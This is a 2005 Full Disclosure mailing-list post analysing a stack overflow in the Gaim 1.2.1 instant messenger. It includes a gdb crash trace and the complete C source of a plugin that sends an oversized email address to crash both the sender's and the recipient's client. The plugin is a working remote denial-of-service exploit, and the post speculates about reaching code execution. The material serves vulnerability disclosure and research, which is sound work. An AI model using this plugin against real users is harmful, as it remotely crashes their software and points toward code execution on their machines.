Full Disclosure mailing list archives
Gaim 1.2.1 -- PoC Stack Overflow
From: Ron <iago () valhallalegends com>
Date: Fri, 13 May 2005 19:41:18 -0500
Product: Gaim Version: 1.2.1 Remote: Yes Effect: DoS, potential arbitrary code execution Date: May 13, 2005I was looking at the stack overflow reported in Gaim 1.2.1. It's actually pretty trivial to find. The line that contains it looks like this:
strcpy(url_buf, gurl_buf->str);url_buf is a 8192-byte buffer, and gurl_buf->str is an email address that is being displayed (user controlled).
The difficulty in writing a real exploit is that the input is sanitized, so any character over 128, as well as ' ', ',', '\n', '<', and others are stripped away. This doesn't leave much to play with, although I'm still confident that it would be possible to write an exploit under these conditions. I just don't have the motivation to do it :)
Another difficulty is that most chat protocols limit you to a reasonable message size, and 8192 is typically well above that size. So even if you could successfully create an exploit, you would still have to do it on a chat protocol that allows very long messages. The final difficulty is that you also process the URL locally, when you send it, but that's not really a big deal. It would be trivial to filter it out in a plugin to make sure you don't crash yourself.
For this example, I just threw together a quik plugin which sends a 10002-character email address when the user types "/vuln". Gaim crashes at the address 0x41414141.
------------------- (gdb) run Starting program: /usr/local/bin/gaim [Thread debugging using libthread_db enabled] [New Thread 16384 (LWP 24908)] Program received signal SIGSEGV, Segmentation fault. [Switching to Thread 16384 (LWP 24908)] 0x41414141 in ?? () ------------------- So in a real situation, this can be done. It's just difficult.If anybody is actually able to use this for anything, please let me know. I'd be interested how this can be exploited.
-Ron
// Written by Ron <iago () valhallalegends com> // Friday, May 13, 2005 // // This is a very weak demonstration of Gaim 1.2.1's stack overflow vulnerability // when processing email addresses. What this basically does is segfault you when you // do a /vuln command in a conversation, and, if you're using a protocol that allows // a 10002-character message to go through, also segfaults the person you sent it to. // The reason is that gaim's stack is overwritten with a whole bunch of 'A's, and // the return address of the function ends up at 0x41414141. That's no good for // anybody. // // This code should be considered public domain, and is freely modifiable/distributable // by any and everyone. // // Note: // To compile, place this in the "plugins" directory of Gaim's source // (gaim-1.2.1/plugins) and type "make vuln-plugin.so". This will compile vuln-plugin.so. // Then put it in ~/.gaim/plugins, restart gaim, and load it as a plugin. #include <unistd.h> #include <ctype.h> #include <string.h> #include <locale.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include "internal.h" #include "gtkgaim.h" #include "debug.h" #include "signals.h" #include "util.h" #include "version.h" #include "cmds.h" #include "conversation.h" #include "gtkplugin.h" #include "gtkutils.h" #define ME "1.2.1 Vuln Check" #define MAXLENGTH 1024 #define XMMS_PLUGIN_VERSION "I am a test plugin to check for URL encoding vulnerability." static GaimCmdId cmd; char *code = "A@                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     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gboolean go(GaimConversation *conv, const gchar *cmd, gchar **args, gchar **error, void *data) { gaim_conv_im_send(GAIM_CONV_IM(conv), code); return GAIM_CMD_STATUS_OK; } static gboolean plugin_load(GaimPlugin *plugin) { cmd = gaim_cmd_register("vuln", "", GAIM_CMD_P_DEFAULT, GAIM_CMD_FLAG_IM, NULL, (GaimCmdFunc)go, "/vuln", NULL); return TRUE; } static gboolean plugin_unload(GaimPlugin *plugin) { gaim_cmd_unregister (cmd); return TRUE; } static GaimPluginInfo info = { GAIM_PLUGIN_MAGIC, GAIM_MAJOR_VERSION, GAIM_MINOR_VERSION, GAIM_PLUGIN_STANDARD, /**< type */ NULL, /**< ui_requirement */ 0, /**< flags */ NULL, /**< dependencies */ GAIM_PRIORITY_DEFAULT, /**< priority */ NULL, /**< id */ N_("1.2.1 Email Overflow Demo"), /**< name */ VERSION, /**< version */ /** summary */ N_(""), /** description */ N_(""), "Ron <iago () valhallalegends com>", /**< author */ "", /**< homepage */ plugin_load, /**< load */ plugin_unload, /**< unload */ NULL, /**< destroy */ NULL, /**< ui_info */ NULL, /**< extra_info */ NULL, NULL }; static void init_plugin(GaimPlugin *plugin) { } GAIM_INIT_PLUGIN(XMMSPlugin, init_plugin, info)
_______________________________________________ Full-Disclosure - We believe in it. Charter: http://lists.grok.org.uk/full-disclosure-charter.html Hosted and sponsored by Secunia - http://secunia.com/
Current thread:
- Gaim 1.2.1 -- PoC Stack Overflow Ron (May 13)